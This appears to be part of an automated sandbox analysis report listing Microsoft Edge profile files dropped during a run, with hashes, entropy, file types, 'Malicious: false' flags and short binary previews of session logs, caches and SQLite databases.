SSDEEP:	3:7eQyXl/l9/lln/lxE0tllV/llXM+:Kz20B
MD5:	451EDE3CD44165C91551AE5A831EDB59
SHA1:	F5BA4C1571F9FD50F2FD8FE6794831613195A738
SHA-256:	791199988C9D0905C36AD0D745CF619069819CF9C41BD071434BE0AABA081472
SHA-512:	2B7DE7B06768635338C4658CCC47C2CA72B9600FA4D97D460DEBEB7FEC318DDA0BD919EAA5B946A01A2A6E18E23B90AD43D2DDB7651BC80928694661BEF7142C
Malicious:	false
Preview:	@....J.$oy retne.........................X....,.................\..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:7eQyXl/l9/lln/lxE0tllV/llXM+:Kz20B
MD5:	451EDE3CD44165C91551AE5A831EDB59
SHA1:	F5BA4C1571F9FD50F2FD8FE6794831613195A738
SHA-256:	791199988C9D0905C36AD0D745CF619069819CF9C41BD071434BE0AABA081472
SHA-512:	2B7DE7B06768635338C4658CCC47C2CA72B9600FA4D97D460DEBEB7FEC318DDA0BD919EAA5B946A01A2A6E18E23B90AD43D2DDB7651BC80928694661BEF7142C
Malicious:	false
Preview:	@....J.$oy retne.........................X....,.................\..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2e499.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:7eQyXl/l9/lln/lxE0tllV/llXM+:Kz20B
MD5:	451EDE3CD44165C91551AE5A831EDB59
SHA1:	F5BA4C1571F9FD50F2FD8FE6794831613195A738
SHA-256:	791199988C9D0905C36AD0D745CF619069819CF9C41BD071434BE0AABA081472
SHA-512:	2B7DE7B06768635338C4658CCC47C2CA72B9600FA4D97D460DEBEB7FEC318DDA0BD919EAA5B946A01A2A6E18E23B90AD43D2DDB7651BC80928694661BEF7142C
Malicious:	false
Preview:	@....J.$oy retne.........................X....,.................\..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5593
Entropy (8bit):	3.4118021224541097
Encrypted:	false
SSDEEP:	96:jrEnPfz6chmSsgdKSmWCg49Xp+SG+diXoks85SLl9iSr/1Lz5eQIDtoZv:XKFhhRXm9Xp+TqiXDV5SLl9iSr/ZNeNS
MD5:	B985182E4C3220B995D4178C3340D106
SHA1:	FEF7C5CC3228B0A2BD44A6144867DF6BD7DDA4E3
SHA-256:	E13374005124DDA128BB888C00F75DB6B0C797E55DDB9B02DD885568DE72ED59
SHA-512:	AE81A51F92F428816AE2EE81572EC67F08C85C15460E827DBC0EDA63FF36B16862B45E7AD7FF63842CE89C1622046531972E91146B3999D9E1635467AA0C39CD
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................k1.b................next-map-id.1.Cnamespace-517bc1ec_0fad_4ac2_8581_e163dba84a17-https://ntp.msn.com/.0/..R.................map-0-shd_sweeper.({.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.p.r.e.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.a.d.s.-.f.l.r.m.g.p.-.b.a.s.e.-.c.,.p.r.g.-.s.p.-.l.a.y.o.u.t.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.-.l.v.f.v.1.8.t.2.,.p.r.g.-.1.s.-.h.t.i.p.-.c.-.w.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.1.s.w.-.r.a.i.l.t.o.p.,.p.r.g.-.1.s.w.-.m.e.b.c.8.2.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.r.i.v.d.d.r.-.l.o.w.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.l.o.w.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2.4.0.9.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.187438737342699
Encrypted:	false
SSDEEP:	6:HUHKQ+q2PcNwi23oH+TcwtrQMxIFUt8YUHVUTgZmw+YUHVUlJQVkwOcNwi23oH+L:VQ+vLZYebCFUt8MTg/+MlJQV54ZYebtJ
MD5:	609661B2F2D56A2A6368116617ED9BD1
SHA1:	660959F7517018A480B0CB5FD957453B44F7BB21
SHA-256:	587612EAE6580607B38755CAE03A0FE152F33CCD3802B9F12F37BC25DD1A76E4
SHA-512:	5107111FE568C562C90CA5433A3D67FC55FFD650C0C9938225B1646C3286655289149BAC80FA0230111A6C2F4C381DE04D64812BEF67E052AE3A6B73AC15E844
Malicious:	false
Preview:	2024/11/15-03:55:33.097 19bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/15-03:55:33.114 19bc Recovering log #3.2024/11/15-03:55:33.118 19bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.187438737342699
Encrypted:	false
SSDEEP:	6:HUHKQ+q2PcNwi23oH+TcwtrQMxIFUt8YUHVUTgZmw+YUHVUlJQVkwOcNwi23oH+L:VQ+vLZYebCFUt8MTg/+MlJQV54ZYebtJ
MD5:	609661B2F2D56A2A6368116617ED9BD1
SHA1:	660959F7517018A480B0CB5FD957453B44F7BB21
SHA-256:	587612EAE6580607B38755CAE03A0FE152F33CCD3802B9F12F37BC25DD1A76E4
SHA-512:	5107111FE568C562C90CA5433A3D67FC55FFD650C0C9938225B1646C3286655289149BAC80FA0230111A6C2F4C381DE04D64812BEF67E052AE3A6B73AC15E844
Malicious:	false
Preview:	2024/11/15-03:55:33.097 19bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/15-03:55:33.114 19bc Recovering log #3.2024/11/15-03:55:33.118 19bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376134533707014

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.812807861484301
Encrypted:	false
SSDEEP:	24:34U/TdQNPY/e/shLXbWvZPipsAF4unxKtLp3X2amEtG1Chq6QlW+PAfcbMQKkOAf:34U/TdQNPY/e/sNIZPizFcLp2FEkChAa
MD5:	89C9BEFCFE177C5EF8EEEC8CAC1972F0
SHA1:	B581664667218485A6B14CCBAB4B8E3CB2992CE3
SHA-256:	4A4170088E7BCFC972005CB3EE855FD52E30AECD225E0398CCAFA75A2FA29302
SHA-512:	E270D7F8373DFB149A8D7994D605BB045BEE49074876DCEFD53BF348E75D88A1656DA3F30E3A30A928DEC8238C7BDD4D3094F76E7F22FE6AA8F5AC2E2FAEA96A
Malicious:	false
Preview:	SNSS.......;_.?...........;_.?......";_.?...........;_.?.......;_.?.......<_.?.......<_.?....!..<_.?...............................;_.?<_.?1..,...<_.?$...517bc1ec_0fad_4ac2_8581_e163dba84a17...;_.?.......<_.?......z........;_.?...;_.?.......................;_.?....................5..0...;_.?&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}.....;_.?..........;_.?.......................<_.?...........<_.?........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......]...&..^...&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.191589285830877
Encrypted:	false
SSDEEP:	6:HUH4SFL+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YUH6z1Zmw+YUH6lLVkwOcNwi23oz:iovLZYebIhHh2FUt8q1/+M54ZYebIhHd
MD5:	DC52986B3D13626751C2C5D07DAE8954
SHA1:	CCB91F6960C0AEC7AF19CA360E854247F14E07B4
SHA-256:	EEEABFC5EC414056A9B6196DCA492BBD098F755E809502D6A5719694E99D741E
SHA-512:	C04C23002AA9DBEF88D29EED4D1DF6C1A9C798962A0C978AE81875AB780FC99FB0FC4224300617456B3E210C7C52F8780D924DBD8F886BB6A6DEAE6FABD9F052
Malicious:	false
Preview:	2024/11/15-03:55:31.297 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/15-03:55:31.298 1c98 Recovering log #3.2024/11/15-03:55:31.298 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.191589285830877
Encrypted:	false
SSDEEP:	6:HUH4SFL+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YUH6z1Zmw+YUH6lLVkwOcNwi23oz:iovLZYebIhHh2FUt8q1/+M54ZYebIhHd
MD5:	DC52986B3D13626751C2C5D07DAE8954
SHA1:	CCB91F6960C0AEC7AF19CA360E854247F14E07B4
SHA-256:	EEEABFC5EC414056A9B6196DCA492BBD098F755E809502D6A5719694E99D741E
SHA-512:	C04C23002AA9DBEF88D29EED4D1DF6C1A9C798962A0C978AE81875AB780FC99FB0FC4224300617456B3E210C7C52F8780D924DBD8F886BB6A6DEAE6FABD9F052
Malicious:	false
Preview:	2024/11/15-03:55:31.297 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/15-03:55:31.298 1c98 Recovering log #3.2024/11/15-03:55:31.298 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018090556708630734
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlUWX:/M/xT02zjWX
MD5:	880E4E783982AD73094B26849D261739
SHA1:	15B8F34D8BC17D28D5655349B71057FC7A12A0FD
SHA-256:	8FB995433E939C36B18D02FC4853A775EC85781292966C6B4AA6E90221A217BA
SHA-512:	1B2C70CF77468E395F994B9A257CBA312A0EC6B9E9567741999606B8E16864C00D792C33F1C14FD46EA7324256766F266C9582D3F32A67671E41C375F5F1BAC7
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.237652535442738
Encrypted:	false
SSDEEP:	12:z2pQ+vLZYebvqBQFUt8Cpg/+1QV54ZYebvqBvJ:zE5lYebvZg8CpHSoYebvk
MD5:	2B58FEDF88500EF924652631805FCE35
SHA1:	D0A75A3ABB368ED361AF0C76EF3A9591619336CC
SHA-256:	EB20549A67F8AB0DA463573454AD08A211F274757BFCC0617C947DAE3A845B45
SHA-512:	48D12693F77853C7D5E98BB676AB6906670166A10E152FE30720444B908905D1F9C0566D77C7E8780A67D1E0CECAFA6AE8C9FB0F079B340C318B4A1352C1BDAC
Malicious:	false
Preview:	2024/11/15-03:55:33.162 19bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/15-03:55:33.163 19bc Recovering log #3.2024/11/15-03:55:33.166 19bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.237652535442738
Encrypted:	false
SSDEEP:	12:z2pQ+vLZYebvqBQFUt8Cpg/+1QV54ZYebvqBvJ:zE5lYebvZg8CpHSoYebvk
MD5:	2B58FEDF88500EF924652631805FCE35
SHA1:	D0A75A3ABB368ED361AF0C76EF3A9591619336CC
SHA-256:	EB20549A67F8AB0DA463573454AD08A211F274757BFCC0617C947DAE3A845B45
SHA-512:	48D12693F77853C7D5E98BB676AB6906670166A10E152FE30720444B908905D1F9C0566D77C7E8780A67D1E0CECAFA6AE8C9FB0F079B340C318B4A1352C1BDAC
Malicious:	false
Preview:	2024/11/15-03:55:33.162 19bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/15-03:55:33.163 19bc Recovering log #3.2024/11/15-03:55:33.166 19bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\04d08c92-af2c-4490-bc8e-26e492a86cdd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\48400931-b84f-47c4-8670-2544521b24e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\67b61756-73c0-4075-9269-660cd8acb1e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF28e6b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF290fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\faa54aa9-2f08-4082-9e5f-0a3a2eb19259.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.240004606695299
Encrypted:	false
SSDEEP:	12:WUEQ+vLZYebvqBZFUt8lSg/+HQV54ZYebvqBaJ:WUE5lYebvyg8o9SoYebvL
MD5:	B8735345CB29D295CB227E2AE7119DA4
SHA1:	38C95DEFC9C0EE62D677091B300E341B5917E5D2
SHA-256:	8D2AAD5E127AE5856765AF585373295C9FEED5434B1D72AD85AF9F9FC475ADF8
SHA-512:	60B2DDFF954853A1E3A26711B95CEC87A81D4E878D6BE7BA330415C2C67E53D7314B800D34B57B28B9B9FB5B2B6C8A604A1614634423D33CE42F426311572D2E
Malicious:	false
Preview:	2024/11/15-03:55:49.028 19bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/15-03:55:49.029 19bc Recovering log #3.2024/11/15-03:55:49.035 19bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.240004606695299
Encrypted:	false
SSDEEP:	12:WUEQ+vLZYebvqBZFUt8lSg/+HQV54ZYebvqBaJ:WUE5lYebvyg8o9SoYebvL
MD5:	B8735345CB29D295CB227E2AE7119DA4
